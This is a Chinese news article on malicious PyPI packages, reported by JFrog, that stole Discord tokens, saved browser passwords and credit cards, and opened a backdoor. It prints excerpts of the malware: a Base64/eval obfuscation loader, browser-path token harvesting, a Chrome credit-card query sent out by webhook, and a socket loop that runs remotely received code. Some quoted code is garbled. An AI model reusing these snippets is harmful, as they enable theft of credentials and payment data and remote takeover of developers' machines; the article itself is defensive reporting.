Python 程序员小心，PyPI 软件库又双叒叕发现恶意软件，能盗取信用卡还有后门程序

Python 程序员真的要小心了，PyPI 软件库问题真是越来越严重。

继今年 6 月出现挖矿病毒后，PyPI 最近再次出现了一批恶意软件，

JFrog 安全团队发现，PyPI 库中有多个软件存在盗取信用卡信息、远程注入代码的行为，而这些软件总共被下载了 3 万次。

这些被发现问题的恶意软件分别是：

当程序员安装完这些软件后，它们将在后台不知不觉读取浏览器文件夹，从而盗取信用卡信息和密码。

它们是如何窃取信用卡信息的

安全研究人员发现，上述所有软件包都使用 Base64 编码进行伪装。

比如上述的 noblesse2：

import base64, codecs

magic = ‘aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS…’

love = ‘0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M…’

god = ‘a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg…’

destiny = ‘yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS…’

joy = ‘/x72/x6f/x74/x31/x33’

trust = eval(‘/x6d/x61/x67/x69/x63’) + eval(‘/x63/x6f/x64/x65/x63/x73/x2e/x64…’)

eval(compile(base64.b64decode(eval(‘/x74/x72/x75/x73/x74′)),”,’exec’))

这种方法可以欺骗一些简单的分析工具，但是仔细研究可以发现其中的问题。

以上 8 个软件包分别包含了以下不同种类的恶意行为：

1、窃取 Discord 帐户身份验证 token

Discord 身份验证 token 读取器的代码非常简单，它就是一组硬编码的路径：

local = os.getenv(‘LOCALAPPDATA’)

roaming = os.getenv(‘APPDATA’)

paths = {

‘Discord’: roaming + ‘//Discord’,

‘Discord Canary’: roaming + ‘//discordcanary’,

‘Discord PTB’: roaming + ‘//discordptb’,

‘Google Chrome’: local + ‘//Google//Chrome//User Data//Default’,

‘Opera’: roaming + ‘//Opera Software//Opera Stable’,

‘Brave’: local + ‘//BraveSoftware//Brave-Browser//User Data//Default’,

‘Yandex’: local + ‘//Yandex//YandexBrowser//User Data//Default’

}

然后代码会读取这几种浏览器路径下的所有.log 和.ldb 文件，并查找 Discord 身份验证 token，结果通过 Webhook 上传到 Discord。

2、窃取浏览器存储的密码或信用卡数据

当你在浏览器中输入密码或信用卡数据时，一般都会跳出如下窗口，提示用户保存这些信息。

虽然这给用户带来方便，今后不用一遍遍输入密码，但缺点是这些信息可能会恶意软件获取。

在这种情况下，恶意软件会尝试从 Chrome 窃取信用卡信息：

def cs():

master_key = master()

login_db = os.environ[‘USERPROFILE’] + os.sep + /

r’AppData/Local/Google/Chrome/User Data/default/Web Data’

shutil.copy2(login_db,

“CCvault.db”)

conn = sqlite3.connect(“CCvault.db”)

cursor = conn.cursor()

try:

cursor.execute(“SELECT * FROM credit_cards”)

for r in cursor.fetchall():

username = r[1]

encrypted_password = r[4]

decrypted_password = dpw(

encrypted_password, master_key)

expire_mon = r[2]

expire_year = r[3]

hook.send(f”CARD-NAME: ” + username + “/nNUMBER: ” + decrypted_password + “/nEXPIRY M: ” + str(expire_mon) + “/nEXPIRY Y: ” + str(expire_year) + “/n” + “*” * 10 + “/n”)

这些信息和前一种情况一样会通过 Webhook 上传。

3、收集有关受感染 PC 的信息：如 IP 地址、计算机名称和用户名

除此之外，这些软件还会收集 Windows 许可证密钥信息、Windows 版本以及屏幕截图。

4、远程代码注入

pytagora 和 pytagora2 这两个恶意软件会尝试连接到某个 IP 地址 9009 端口上的，然后执行 Socket 中可用的任何 Python 代码。

其中混淆的代码被安全人员解码成如下片段：

import socket,struct,time

s=socket.socket(2,socket.socket.socket.SOCK_STREAM)

s.connect((‘172.16.60.80’,9009))

l=struct.unpack(‘>I’,s.recv(4))[0]

print (l)

d=s.recv(l)

print (d)

while len(d)>!1:

d+=s.recv(l-len(d))

print (d)

exec(d,{‘s’:s})

但是安全人员现在不知道这个 IP 地址是什么，或者上面是否存在恶意软件。

中毒后如何挽救

如果你发现自己的电脑已经安装了诸如 noblesse 的恶意软件，那么请检查一下你的浏览器到底保存了哪些密码，这些密码可能已经泄露，请尽快修改。

对于 Edge 浏览器用户，请在地址栏中输入 edge://settings/passwords，查看已保存的密码。

对于 Chrome 浏览器用户，请在地址栏中输入 chrome://settings/payments，在付款方式一栏下查看已保存的信用卡信息。

另外可以松口气的是，PyPI 维护人员已经删除了这些恶意软件包。

虽然 PyPI 软件库现在是安全了，但是鉴于这些开源软件库现在的维护状态，未来很可能还会遇到更多攻击。今年 PyPI 库出现安全问题的状况就不止一次出现。

“攻击者能够使用简单的混淆技术来引入恶意软件，这意味着开发人员必须保持警惕。”

JFrog CTO 说，“这是一个系统性威胁，需要由软件存储库的维护者和开发人员在多个层面积极解决。”